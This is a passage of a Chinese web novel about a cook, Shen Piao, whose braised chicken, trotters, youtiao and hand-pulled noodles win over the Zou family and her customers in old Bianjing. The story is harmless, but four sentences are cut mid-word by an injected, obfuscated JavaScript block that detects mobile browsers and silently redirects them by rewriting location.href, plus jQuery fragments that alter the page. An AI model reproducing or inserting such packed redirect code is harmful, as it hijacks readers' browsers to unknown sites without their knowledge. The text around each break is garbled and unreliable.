“孙儿谢过祖父。”邹远笑意盈盈的还看向邹大郎。 邹大郎不愿看他那副小人得志的嘴脸。 邹祖父手拿起那鸡腿，这卤鸡的颜色鲜亮，再看撕开后，刚刚撕开的时候就能感受到那肉的紧致，舔下嘴唇，他看向大孙，“不是祖父偏颇，因着这是人家二郎带回的，等下回，你若是给我带回好吃的，我也分给你。” 邹大郎听着这话就十分的孩子气，他若是有了就在外吃完，但又想到上次的事情，想着让仆从打包带回家中才好。 邹祖父才咬上一口，肉质果然鲜嫩，咬上还有些汁水，味道全部卤制到肉中，有些微花椒的麻，好像还有茱萸，辛味不明显，只在后味中，另外鸡肉怎的这样劲道，他还没吃过能做的这样劲道不柴又有汁水的，但香味却更为出色，并不油腻，还十分脱骨，他吃的就更快了。 邹远虽然与大哥哥对着干还算开心，但待侄儿侄女都是好的。 “你们俩要吃吗？二叔分给你们。” 黄娴英虽然父亲是武将，但家中也算是耕读世家，自从嫁来后，家中的热闹一日更甚一日，不过公爹平日并不与她多话，婆母性格泼辣，但只管公爹，对她事事依从，过门不过三个月，家中已然是她来当家了。 “小叔自己吃吧，他们俩年纪还小，不能吃这些。”她笑着拒绝。 邹远又看向母亲，“母亲，您吃罢。” 邹母摆摆手，“不用让来让去，若我想吃，刚刚就问你要了。” 邹远看剩下的两位，忽略掉父亲眼中的期待，干脆自己大口吃起来，果然自己跑来跑去忙这么久是值得的，这鸡腿不柴，鲜嫩多汁，而且后味中并不咸，胡记家的卤货在汴京十分出名，但吃多就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695200|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多喝茶压咸味，而且祖父说的有道理，凉之后的卤鸡，更劲道，虽然他也没吃过热的。 剩下的没有鸡腿的鸡，下人给撕好放置到盘中，其他人瞧着这爷俩吃的这般香，才夹上一块。 黄娴英并不重口腹之欲，但这鸡肉嫩滑味道复杂，卤的火候刚刚好。 邹父也是，连吃两块后，想着剩下的也没多少，再不动筷，有些生气，“二郎，你这在哪家酒楼买的？怎不多买几只？” 邹远手中的鸡腿已然吃完，“不是酒楼的，就是码头边上的小食肆，那娘子的手艺极好，我还吃过热干面，” “热干面又是什么东西？”邹大郎发问。 邹远想下，这倒是有些难以解释，“一种面条，细长，又劲道还香，上面放了酱料，像是拌麻腐时用的，总之趁热吃，我与谕言一同去的，本他都不愿意吃，后来也说没吃够，我今日本也想去吃的，但那娘子说今日不开门，我瞧见她要做卤鸡给家中幼弟送去，我就恬脸特要上一只鸡。” 黄娴英怪不得今日听家禽铺子的管事来回话，说晌午的时候二郎去要一只鸡，原来就是这只。 邹祖父倒是稀罕，“还有这么多好吃的，二郎，你这可不厚道，祖父在你幼时都白疼你了，都没想到要给祖父带回一份来。” 邹远赶紧讨饶，“祖父，不是孙儿不孝，是我日日都在当值，回来累极，倒头就睡，况那热干面想吃总要先抢到吧。”他也没吃够呢。 邹大郎想着这小食肆有多好，竟然生意这般火爆，“明日我去买回来给大家尝尝。” 邹父听闻非常欣慰，还是他家大郎甚得他心啊。 “那卤鸡？”他还没吃够呢，就这一只两三斤的小鸡，他自己都能吃一只。 邹远摇摇头，“只能去拜托沈娘子多做一些，我们买来。” 邹父嗯下，“那此事就你去办吧。”他还要往岳丈家去送些，这卤鸡和大舅哥以及好友一起喝点小酒，岂不美哉？想到此处不由的脸上露出笑意，又看到旁边的娘子，他不愿让自己喝酒，顿收住。 黄娴英想到父亲也喜欢吃卤味，“小叔，嫂嫂也想要几只，劳烦了。” “嫂嫂客气了，我一定尽力办到。”邹远想沈娘子人美心善，应该会愿意吧，他可以把鸡宰杀干净直接送去，再多加些钱。 饭桌上一家人瞧着那盘中空空如也，再瞧别的，才知道这肉也跟肉不一样。 邹祖父倒是想着他明日要去自己看看，这么多好吃的，他不吃，岂不是白活一世，年轻的时候太亏待自己，现在可不能再亏待了。 书院膳堂。 沈郊把柏渡惦记良久的卤鸡打开，凉后那鸡肉还散着香味。 柏渡今日下午都没心情苦读，他一直盯着这油纸瞧，现下终于能吃了，特意拿着到厨房让熟人热后帮忙撕开。 “柏小郎君，今日这卤味真是香啊，色泽黄澄澄发亮，瞧这上一层薄薄的油脂。”膳堂的大师傅想起上次热过的红烧肉，忍不住想到底还是柏家，能弄来大酒楼里这么多好吃的。 18.焦香酥脆大油条 柏渡忙不迭的点头，其实根本就没听到他在说什么，直勾勾的盯着已经热好撕开的卤鸡，拿起在最边上的一块，直接扔到嘴里，有些烫，但鸡肉嫩滑，比刚刚凉的时候汁水还要多，他边嚼边端着到他们三个的座位上，买上六个热乎乎的炊饼。 炊饼从中间掰开，柏渡把丸子和焦鱼都夹了进去，还给两位好友也这般制作了一个，才急匆匆的大口咬上去。 丸子因为凉了，但更脆，小鱼更不用说，炸的焦脆，炊饼的热气把两者都有些烘软了，油从丸子里挤出来浸到炊饼里。 “好吃好吃。”柏渡爱吃也会吃，他嘴里大口嚼。 陈尧之上次吃过红烧肉，就对沈家阿姊的手艺很敬佩，现下满口的酥脆，因着是油炸的，又更香，萝卜丸子有点点辛辣味，但点缀的刚刚好，拇指大的小焦鱼更别说，满口留香，他家中虽然不是如柏渡家那般钟鸣鼎食，父母亲在汴京内城开了一家茶肆，在吃食上不曾短缺，但这样的没吃过。 吃完一个炊饼，又吃第二个，卤鸡被撕开，能看到鸡肉的纹理，很是漂亮。 柏渡虽然爱吃，但知道分寸，这是沈家阿姊送给自己弟弟的，他自然不会去抢着吃鸡腿，只拿起一个鸡翅，卤鸡的皮和肉分离，但皮比肉更有滋味，油脂香而不腻。 沈郊手上垫着油纸把鸡腿分开，示意让大家一同吃，他与陈尧之自幼就相识，和他自然如亲兄弟般，柏渡虽然瞧着不着调，但为人正直善良，总是会仗义执言，他们是好友，知己，因此同窗之情格外珍惜。 柏渡也不客气了，拿起一块鸡腿肉夹到炊饼中，吃着别提多香美了，就是觉得这炊饼做的一般，若是能配上皇建院街，得胜桥郑家的炊饼就更好了。 郑家就炊饼的炉子都有二十多个，样式更多，是他吃过最好吃的。 三个正是能吃的少年郎，一顿饭全都吃的干净。 沈嫖到家中把卤汁取出放置一个大的陶罐中，她明日准备再卤制上一只，和穗姐儿一同吃。 这一场雨下过，就更冷了。 她把炉子生起来，菜备好，看时候到申时末，简单收拾一下，走着去女学，因着下过雨，青石板上湿漉漉的，时不时的有微风吹过，黄色的柳叶被打湿落在地板上，但街头巷尾卖着各色吃食的摊位前都冒着热气。 到曹女傅宅邸门口，就见到也有两位年纪较长的妈妈在交谈，沈嫖隐约能听到，都是其他两位女孩的贴身妈妈。 没一会，大门打开，崔妈妈就领着三位女孩出来。 穗姐儿身上背着一个斜挎的书包，是沈嫖给她做的。 尤慧一出来就见到穗姐儿的阿姊，长的漂亮，做饭也好吃，她先把书包递给妈妈，转身就小跑着到沈家阿姊的面前，笑着行礼，“沈家阿姊好，我叫尤慧，今日我和穗姐儿还有杨家阿姊都互相交换了吃食，不过我和阿姊的都不如穗姐儿的好吃。” 沈嫖看看牵着手的穗姐儿，见她眼睛亮晶晶的，脸上还带着笑意，是那种十足的开心，自她来到这里，也见过穗姐儿吃满足的脸上的笑意，但隐隐的依旧还会带着小大人似的担忧，但今日这份笑是明媚的，彷佛所有的阴霾都消散，看来送她来读书是最对的决定。 “慧姐儿也喜欢吃吗？那以后我给穗姐儿的食盒里可以多放一些，你们可以互相换着吃。” 尤慧赶紧摆手，“阿姊不用这般麻烦，我问了穗姐儿知道阿姊开了食肆，等到旬休时，我去吃，阿姊一定要等着我啊。”她说完还拉过杨钰兰，“我和杨家阿姊一同。” 沈嫖笑着点下头，“好。” 回去的路上。 穗姐儿跟沈嫖讲了一路今日在女学都发生了什么，还说自己今日识的字，曹女傅教学时有些严厉。 沈嫖静静听着，时不时的问上两句。 穗姐儿十分高兴，到家就积极的练习今日自己识过的字。 炉子里的火已经生的很旺，她做上酸汤，端上桌时才把焦鱼撒进去，摆上萝卜丸子。 穗姐儿第一次喝这样的酸汤，这会的焦鱼没有在汤内浸泡很久，只外面的薄薄一层才沾上汤汁，外面酸的，里面是焦的，喝着又暖身又香脆，一口气她喝了两碗。 沈嫖也不拦着，喝汤不会积食。 第二日一大早，天还灰蒙蒙的，沈嫖小心的起床，给穗姐儿掖好被子，自己洗漱好挎着小篮子出门，小巷子里卖菜的各种已经都已经摆好，她到李娘子杂货店里买了些碱面，准备回家趁着昨日的油锅炸些小油条，现在汴京还没有售卖油条的，只有馓子和油饼。 又到蛋行中买些腌卵，就是腌的鸭蛋，咸鸭蛋，买好就回家了。 到家和上两盆面，一大盆是包包子的，另外一小盆的是炸油条用的，面加入碱面，油条的面要更软和一些。 和好面陶罐锅里蒸些米，这是给穗姐儿准备的。 油条面先发好的，在案牍上均匀的抹上油，给油条排好气，她切的油条比较小，两根压在一起，扭好，放到炉子烧热的油锅里，筷子来回的翻面，让它完全的蓬松发起来，这点面没一会就炸出一竹筐的油条，尝上一口，很烫，但焦香酥脆。 小厨房里的地锅里熬制的黄米粥，只需要把柴火插上，然后时不时的去看一眼就行，柴火灶里熬制出来的米粥实在香，金黄的，上面一层薄薄的米油。 这边饭差不多，穗姐儿自己起床，洗漱好，扎上小辫。 俩人还是习惯在外面的小饭桌上吃饭，虽然有些冷，但空气透凉，呼吸一口人也瞬间清醒过来，两碗小米粥冒着氤氲。 沈嫖切了两个咸鸭蛋，里面倒是金黄流油。 俩人坐下来用早饭。 穗姐儿只吃过早食摊上的油饼，但这个没见过，一口咬上外面是脆的，里面是软的，再配上一点点腌卵，咸香四溢。 “阿姊，这个叫什么？” “油条。”沈嫖也是好久没吃过油条了，毕竟是来自现代，她口味没变，早上总想吃点油条包子，再配上茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704741|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶蛋，这会吃到满足的味道，突然理解了出国留学的学生，黄米熬的透透的，满口喝下去是米粒的清香，这顿早饭十分惬意，油条还剩下一些。 沈嫖吃过饭就把蒸的小锅的米饭拿出来，挖出来一勺铺在油纸上，用勺子铺平，再把油条掰断撒进去，咸鸭蛋也包裹进去，做上两个长条的，她又把长条分开，切上几段，这样穗姐儿吃的时候也好拿。 今日开门营业，她和的面稍微多一些，大肠基本上都包完了，还剩下一小节，总归是卤的，她可以爆炒一下，等到晚间当个菜。 她刚刚把今日的包子都包好，上笼屉蒸起来，灶里添上大的木柴烧起来。 邹郎君今日穿的是统一的当兵的衣裳，悄悄的在门口往里看。 沈嫖看到他这般的小心翼翼，又往外面瞧，陶郎君在更远一些，似乎是在把风。 “邹郎君，这包子还没蒸好？” 邹远又往后看了一眼，趁人不备赶紧进来，“沈娘子，我长话短说，今日我当值，恐怕不能晌午来买，那个热干面和包子各自给我留一份，每份是两个。”他说完把钱掏出来放到桌子上。 沈嫖跟他也是熟人，“好。” “还有一事，沈娘子，昨日我家人都吃过卤鸡，觉得非常好吃，但我家中人非常多，都没尝出什么味，能不能多做一些，我们家要三十只，可行？我们愿意出高价。” 邹远还要分给陶谕言两只，不然他不帮自己望风。 沈嫖没想到会有这么大的生意，这是好事啊，她自然是要多赚钱的。“可以，那邹郎君还是把小公鸡准备好，宰杀干净，我来卤制。” 邹远未曾想沈娘子人这般好，顿时眼泪婆说，“那深谢娘子了，等我晚间时候再过来和娘子分说。” 他说完就赶紧跑了出去。 沈嫖倒是觉得这邹小郎君是个爽朗的人，十分可爱。 晌午开卖，她又看到前两日那瘦弱的少年，他今日没要包子，只要了一碗热干面，绿豆汤都没要。 沈嫖能看得出他的拮据，每日吃食只愿意花十文钱，她接过钱。 “好的，稍等。”下到锅内的面条稍微多了一些，她做饭多了手上是有准头的，每次给食客的都只会多不会少，每斤面的价格本也不贵。 何疆第一次吃到热干面，面条量很足，关键是太好吃了，香味醇厚，其实这么久了，竟然头回腹内有了饱意。 邹祖父昨日和小孙儿细细打听过，今日本也没事，就早早的候在门口，听到前面排队的漕工说包子是猪大肠的，他更是伸直了脑袋，因小时候家贫，能喝上杂熬就很好了，以至于他现在平日里还会爱喝杂熬回味幼时的味道，未曾想还能吃到大肠馅的包子了。 沈嫖低头就只顾着给食客上用油纸包包子，那边锅里还煮着热干面。 邹祖父来的早排队也靠前，要了俩包子，一份面，还有一碗汤，汤自己去打就行，和工人一起围坐在一个桌子旁，先咬透油皮的大包子。 19.沉甸甸的猪蹄 邹祖父这么一口全是满足，热腾腾的包子，肉馅和面像是融为一体，他尤要夸赞一句这面团，发的真好，若是让他幼时吃上这么一口大包子，是能记一辈子的，不过现在也不晚。 他这么几口吃完，就瞧见跟自己坐在一张桌子的两个漕工手中已经吃第二个了，而且那油纸里包的还有俩，所以这漕工是一口气要了四个啊，他还是经验不足，要的少了。 那其中一个漕工见这位老者一直盯着自己的包子看，又打量过他手上吃完的，立时就明白过来，把自己的包子往自己左手边推了推。 “老先生，你这可买少了？” 邹祖父点头。 漕工喝口绿豆汤，“是这样的，沈小娘子这卖的包子，向来是排不上第二轮的，所以一开始排着的时候你就多要些，就是了。”他说完又看这老先生，“不过我这不能给你，我吃不饱哈。” 邹祖父没想到自己表现的这么明显，无奈的只好拿起筷子搅拌自己的热干面，入口的面条咬着很有口感，非常劲道，特别是这个酱汁的醇香，他扒拉着筷子，没一会就把面条全吃了，但远远不够，开始怪起自己最疼爱的小孙儿，真是不孝。 店内卖的快，大家吃起来也快，所以晌午不到半个时辰店内基本就没什么人了。 郑屠夫今日下午会来送猪大肠，还有邹郎君要的卤鸡，有的忙呢。 晌午收完摊，她吃碗汤面，就准备睡午觉。 穗姐儿倒是正在给自己新认识的小姐妹们分享阿姊做的饭团，里面夹的油条和咸鸭蛋，蒸制的米粒粒粘在一起，一大口下去先是米的香味，再就是油条的脆香，还有鸭蛋的咸香味。 尤慧今日带的是炙鱼，米饭，杨钰兰是羊肉馒头加汤羹。 三人已经围坐在一张饭桌上用饭，各自吃的特别香。 沈嫖今日给穗姐儿带的本来就多。 尤慧虽然才七岁，家里是经商的，在外城西侧的新正门大街那的商铺几乎都是她家的，因此在吃穿用度上，可以说金玉堆里长的，但这样的做法她从未见过，比什么翻来覆去的炙羊肉炙鱼块都好吃多了。 “杨家阿姊，等到旬休，咱们一定要去沈家阿姊的食肆里吃，好不好？” 杨钰兰往日里最是稳重，但吃过这饭团后，也是忍耐不住，满口答应，“好。” 沈嫖睡一觉醒来，外面码头上又传来号子，估摸这有船只靠岸，她在院子里坐着喝会热茶，看着种的菜已经冒出芽，就听到外面有人敲门，过去一看就是郑屠夫铺内的小哥。 郑菓手上是草兜，提着大肠，瞧见人想说自己来的刚好，大部分汴京人都是这会午睡才起。 “沈小娘子，这是今日的猪大肠，都是最新鲜的。另外还有四只猪蹄，东家说也不是值钱，若是沈娘子能看得上，往后供给也可以把猪蹄一并送来，都是今日新鲜宰杀的。” 汴京人吃猪肉也是要精肉，特别是猪肘，酒楼里会有炖猪肘这道名菜，肉皮肥香，一口咬下去是满嘴留香，也是猪身上差不多最贵的地方了，猪肘贵，猪蹄就算是剩下的了。 沈嫖看郑屠夫真是个会做生意的，只要东西好，她都喜欢，接过来正好放在厨房内，“谢过小哥，进来喝口水吧。” 郑菓客气的摆手，“铺内还有好些活，就不耽搁了。”他说完又站定，“沈娘子，明日还会卖大肠包子吧。” 沈嫖点头。 “那就好，明日我来买。”郑菓顿时喜笑颜开，说完就一溜烟就走了。 沈嫖小楼前面的门就开了一扇，她到小院内的水井旁清洗猪大肠，郑屠夫按自己教他的方法洗过，她再做起来就简便很多，两刻钟就全部都收拾的干干净净的，洗净的猪大肠其实是粉白的，十分好看，猪蹄也被郑屠夫收拾的很干净，上面的毛处理的一丝都看到，果然还是人家专业。 把两个炉子下面的通风盖都打开，等着炉子全部烧起来。 她把昨日的卤鸡的卤汁放到炉子上，就关上门到家禽铺子里买了一只公鸡，像在铺子里买鸡鸭鱼，店家小哥都会给清洗干净，然后用草绳系好，方便提走，回到家里她就开始把两个炉子上都炖煮上，大肠和猪蹄都过热水又炒糖色后放在一个罐子里炖煮。 小院内吹过一阵秋风，带来无限凉意。 炉子里咕嘟咕嘟的冒着泡，大肠猪蹄和小公鸡在各自的汤底里。 沈嫖闲下无事，安稳的坐在院子里，把程家嫂嫂前几日送来的石榴剥开，吃着石榴，看看罐子里的大肠和猪蹄，猪蹄的时间比较久，得一个半时辰，她坐在院子里还盖个小毯子，天色渐渐也暗下来，到时间把大肠捞出来浇上汤汁放到另外一个罐子里，炉子上继续卤着猪蹄，在小院内看到小楼门口探头探脑站着一位老者，起身走过去。 “老先生，有什么事吗？”她原以为是来乞讨的，但走近观他衣裳就知不是，身高体壮，头上有些白丝，梳的一丝不苟，穿的是时下最好的料子，袖口的绣工更是精致。 邹祖父晌午在小食肆内用过饭后，就到馆子里去听戏，但心中一直惦念着食肆里的吃食，这不又紧赶慢赶的过来，在门口就闻到里面咕嘟的香味。 “小娘子，我想问问这晚间什么时候开门？” 沈嫖这才明白，“我们晚间不开门。” 邹祖父听闻都觉得惊讶的啊了一声，怎会如此？在汴京城就没见过哪家食肆只卖一餐的？那酒楼都是一整夜灯火通明，更何况夜里才是最热闹的。 “那小娘子，这是在炖煮什么？我闻到香味了。” “卤大肠，猪蹄，还有卤鸡。”沈嫖看他眼神一直往院内瞧。 邹祖父听见就像是又回味起昨日的卤鸡，“那小娘子，卤的大肠能否卖一些给我，我年幼时家贫，后来人至中年才起家，十分惦念幼时的味道。”边说边特别可怜的叹气。 沈嫖见他年纪也大，又说的这样的情真意切，想着本就是要卖的，怎么卖都行，应下来。 “老先生，请进来吧。”她到厨房柜子里拿出油纸，“老先生，怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708553|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么称呼？” 邹祖父进来后闻的香味更甚，想到一会就能吃到嘴里的，更高兴。 “老夫姓邹。” 沈嫖想着这个姓在汴京还挺常见的，她开食肆才几日，就已然认识两位姓邹的了。 油纸放置在桌子上，她拿出来筷子把刚刚卤好的大肠拿出来一根，“邹老先生，这些可够？” 邹祖父看见那一锅卤制的，想说能不能直接把锅端走，但又知道人家小娘子还要做买卖。 “也勉强够吧。”他说完又想到，“小娘子，那猪蹄和卤鸡也能否匀我一些？” 沈嫖倒是觉得这老先生和邹小郎君不愧同姓氏，连说话都是一样的。 “猪蹄可以，但卤鸡不行，那是我给我家妹妹做的。”她把猪蹄给他匀了两只，还想着猪蹄若是卖的好，也可以把郑屠夫家的都买来。 邹祖父叹气，“也行罢。” 沈嫖包油纸现在已经熟门熟路，端正好看，系上麻绳。 “多少钱？”邹祖父提着自己的两份卤味忍不住放到鼻子下闻闻，更满意了。 沈嫖也没这么卖过卤味，只记得小馆子上那一小份炙鸡是十五文钱，一根大肠，算下来本钱也才几文钱，而且猪蹄她还没买过，也不知汴京是怎么个价钱。 “我没这么售卖过，也不知怎么出价。” 邹祖父大手一挥，“我知道。”他常年混迹各种酒楼，吃食的价格上门清，他从怀中拿出来五十文。 “沈小娘子，你这卤制的手艺在汴京难找到，我一般去酒楼一个小菜就十文了，这个价钱没多给你。” 沈嫖也不知是不是这么多，明日得去一趟郑屠夫的摊位上。 邹祖父提着自己打包的卤味，简直是健步如飞似的就走出了小食肆。 沈嫖送他至门口，都觉得自己看错了，已没了刚刚垂头丧气的样子。 邹祖父提着卤味回家的路上，还让候在远处的仆人速去买酒，他回到家里就忙不迭的把两包卤味打开，颜色鲜亮，飘着香味，仆从送上一户酒，他自己用手掰开猪蹄，还有些烫嘞，那猪蹄炖煮的烂糊，皮外面弹，里面软，提起沉甸甸的，入口便化，一碰就脱骨，又抿上一口酒，他自觉十分舒畅，那大肠让下人切成小段，劲道入味。 实在舒爽。 就是吃后再次在心里暗暗骂小孙子，都吃过这么久这么好吃的，怎的才往家里说，真是很大的不孝。 门口仆从特意又端上一碗面。 “国公爷，这是晌午的时候，大公子特意着人去食肆买回来的，家中每人一份，但是国公爷不在，但也留着，听闻国公爷归家，大娘子特让送来的。” 邹祖父听闻赶紧让端上来，还是孙媳好，还知道惦记着他。 只是家中仆人都不知怎么热这样的面条，就只好凉着送来。 邹祖父本来就没吃够，想着凉着就凉吧，谁知这般配着卤味吃，更是别有一番风味，凉着的热干面劲道未减，反而芝麻酱的醇香味更深。 20.羊肉炝锅手擀面 邹祖父就这么呼噜呼噜的吃着热干面，心里更是美滋滋。 邹父处理完事情从外书房回来，正想找亲爹商议朝中事情，没想到正是撞上这一幕。 桌子上啃过的骨头，其他的吃过什么竟然都看不出来，他无奈的站在门口。 “父亲。”他直接重重的喊上一声。 邹祖父正巧把热干面最后一口吃完，瞧见是儿子过来，又不自在的咳上两声。 “这么大声做什么？吓到我了。” 邹父进来撩袍坐下，心里腹诽，若不是你心中有鬼，怎会被吓一跳，但他话到嘴边。 “父亲，您吃的这是什么？有好吃的怎么不告知儿子一声。”又看到旁边的酒，“我也与父亲好久没一同吃过酒了。” 邹祖父皱着眉头，默默的拿起油纸上还剩下一节的猪蹄，“不用了，我自己还不够吃的呢。” 邹父瞧着亲爹满脸的防备，真是伤透心，他难不成会上手抢老父亲的吃食吗？ 沈嫖在邹祖父走后，就准备去接穗姐儿下学，今日天边的晚霞甚是好看，红彤彤的，倒映在蔡河，岸边的垂柳衬着粉墙朱户，人来人往，又要到汴京最热闹的晚间了。 她从家门口出去，快到女傅宅邸时，路过巷子里的肉铺，瞧见那案板上一块上好的羊里脊肉，纹理走向漂亮，另外十分新鲜，看老板刚刚切开一块卖出，忙上前去。 “老板，这块肉我要了。” 老板五十多岁，看一眼小娘子，手上拿起油纸给包上，边包还边说话，“小娘子十分识货，是个吃家嘞。” 沈嫖笑着点头，“多谢老板夸奖。”这一块有一斤，一百二十多文呢，羊肉价钱确实昂贵。提着肉接了穗姐儿。 两个人说说笑笑，到家门口，就看到邹远和陶谕言已经等在家门口。 穗姐儿看到有食客来，先回屋去习字。 院子里这会已经满是卤子的香味，沈嫖临走前还和了一块面，晚上准备做个手擀汤面，毕竟天气越来越冷，不喝点热乎的也不舒服。 邹远努力忽视这往鼻子里钻的香味，但今一整日他都跑上跑下没闲着，现在他已然饿的前胸贴后背。 “沈小娘子，我明日下午着人送来三十只宰杀干净的小公鸡，可以吗？” 沈嫖点头，“好。” 邹远说完后肚子就咕噜噜的叫起来，声音还不是一般的响，他耳朵瞬间就红了起来。 陶谕言更是不好意思的背着手转过头，只瞧见肩膀不断耸动，不过在场的几人都知道他是在憋笑。 邹远口中生津，饿中生急智，“沈小娘子，我们晚饭能在这里吃吗？我付钱，我听闻食肆上面有包厢，就当做给我们做些吃的当做食肆。”上次王大人在这里用过饭，他无意间听闻的。 沈嫖顿觉有些哭笑不得，又看邹远后退半步，还行云流水般双手在前行个礼，颇为恳切，想了好一会，正好买来了羊肉。 “好，不过家中没什么食材，我今日是准备了一只卤鸡和手擀面的，不过我刚刚买了羊肉，可以做羊肉炝锅面。” 邹远忙不迭的点头，“那多谢沈小娘子。” 沈嫖把他们带到楼上的厢房，还是上次王大官人用过的，然后就去厨房开始忙活。 邹远看到这包厢虽然简单，但很整洁，巡视一周，起身推开窗户，正巧能看到蔡河，平静的水面上吹来风迎来阵阵涟漪，岸边的小食摊也都摆了起来，往日听着觉得嘈杂的迎来送往的声音，现下竟然觉得还不错。 “陶兄，你瞧，这风景还挺雅致的。” 陶谕言现下也很习惯这般简单的厢房摆设，昨日有好友设席到酒楼，彩带飘扬，戏曲跳舞的太过繁华还有些奇怪，想着主动走上前往远处眺望，心旷神怡。 沈嫖把里脊肉按照纹路切片，然后简单放些盐抓拌一下，这样爆炒出的羊肉会更入味。 面是她走之前和上的，就是为了让面条能多醒醒，这样面团光滑，面也会更劲道。 热锅凉油，用葱段爆炒出香气，再把肉放进去，放胡椒，盐，酱油调色调味，倒入炉子上的热水，盖上锅盖，灶里又插上两根木柴。 沈嫖洗好手开始擀面条，面团和的软硬适合，擀起来就快很多，切的整整齐齐的，拎起上面的一头，就是一把顺长细滑漂亮的面条。 面条煮好简单的再放盐调味，最后滴上香油，瞬间香味更甚，柴火锅煮出来的具有浓厚的锅气，把卤鸡从中间切开分成两份，撕好放到盘子中，另外半分还有两个猪蹄是她与穗姐儿的。 沈嫖用一个托盘全部给送到二楼的包厢里。 邹远看着那热气腾腾的面条，还有卤鸡，他实在太饿了，闻着这香味他的口水真的要流出来了。 “邹小郎君，卤鸡只能分给你们一半，慢用罢。”沈嫖看他眼睛直勾勾的盯着。 邹远知道这已经很麻烦，但还是赶紧先坐下拿起筷子，“不妨事不妨事，还要感谢娘子呢。”他嘴里说着话，但眼睛都没移开过面前的面条。 沈嫖下楼把她和穗姐儿的盛出来，还切了一小碟的酸萝卜，柴火灶煮出来的羊肉炝锅面，羊肉爆炒出来的香味完全煮到了面条里。 邹远吃第一口就烫到了，但扔不舍得，在嘴里倒腾过后，又赶紧吃下一口，配上一口鲜嫩多汁的卤鸡肉，汤底里有些微微的胡椒味，喝完一口又喝上一口，果然他今日的厚脸皮是有用的，不然上哪里能吃上这样好的羊肉面条。 陶谕言只觉得羊肉面条汤鲜面条入味，热乎乎的吃到肚子里，瞬间就能冒汗，在这样的季节里吃上一口，实在美味。 他夹起一块鸡翅，冒着热气的卤鸡，表皮像是金黄，能闻到似乎是各种香料的味道，入口就是劲道的表皮，还肉质又很软嫩，脱骨，他还是第一次吃沈小娘子做的卤鸡。 “我要五只。”他伸出手到邹远的面前。 邹远一碗的面条就只剩下半碗了，听到他说这话，只看他一眼，就没理睬他，他到底在胡说些什么？ 沈嫖把炖的软烂脱骨的猪蹄也撕开，因为卤了一下午，用手一碰几乎就脱骨，这猪蹄十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714641|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥嫩软烂，厚实的，上面的肉皮色泽浓郁。 “穗姐儿，快尝尝，阿姊新做的菜。昨日给你二哥哥送的就是这样的卤鸡。” 穗姐儿因为上女学，又认识到新的朋友，这几日都高高兴兴的，她夹起一块肉，放到自己的面上，吃着一小口面条，又咬一口肉，香的都不知道说些什么。 沈嫖看她嘴上都有卤鸡的油渍。 “喜欢吃的话，阿姊以后常常做。” 穗姐儿点点头，把盘子里的最大的一块鸡腿夹到阿姊碗里，“阿姊要多吃点。” 沈嫖看她这么开心，也很满足，她觉得卤鸡的味道真的比她从前做的还要好，可能跟原材料和香料有关，不过最好吃的还是这碗面条，从前在酒楼中，都是烧的燃气，没有柴火锅实在，面条更有味道。 郑屠夫是个实在人，猪蹄都是大的，肉质也多，这样炖出来才更有啃头，也好吃，她准备明日询问过本钱后，再考虑要不要做卤味来卖，而且天气冷，她准备把热干面换成鸡汤烩面来卖，毕竟羊肉比较贵，对自己的客源来说还是有些负担的。 外面天渐渐暗下来，但楼上楼下都喝上一碗热乎乎的羊肉炝锅面，吃着软烂脱骨的卤味，倒也没有辜负这个深秋。 邹远和陶谕言已然吃饱喝足，从楼上下来，还给捎上控盘空碗。 沈嫖忙起身接过来。 “谢过二位郎君。” 邹远吃饱喝足后，更好说话，“沈小娘子，我刚刚看这二楼的风景不错，若是晚间把二楼做包厢，定然生意不错。” 沈嫖看向二楼，“以后再说罢。” 邹远说完就从怀中掏钱，找了半天才发现自己没带。 陶谕言忙在自己怀中拿，“沈小娘子，我总共就剩下七十五文，这些够吗？”他颇为窘迫，头回用饭没带钱的。 邹远也很是着急，但他急的是怕给沈小娘子留下坏印象，往后食肆再没有他的一席之地啊。 沈嫖赶紧开口，“够了够了，还有多余。” 她买的一斤羊肉都没用完，卤鸡也只有一半。 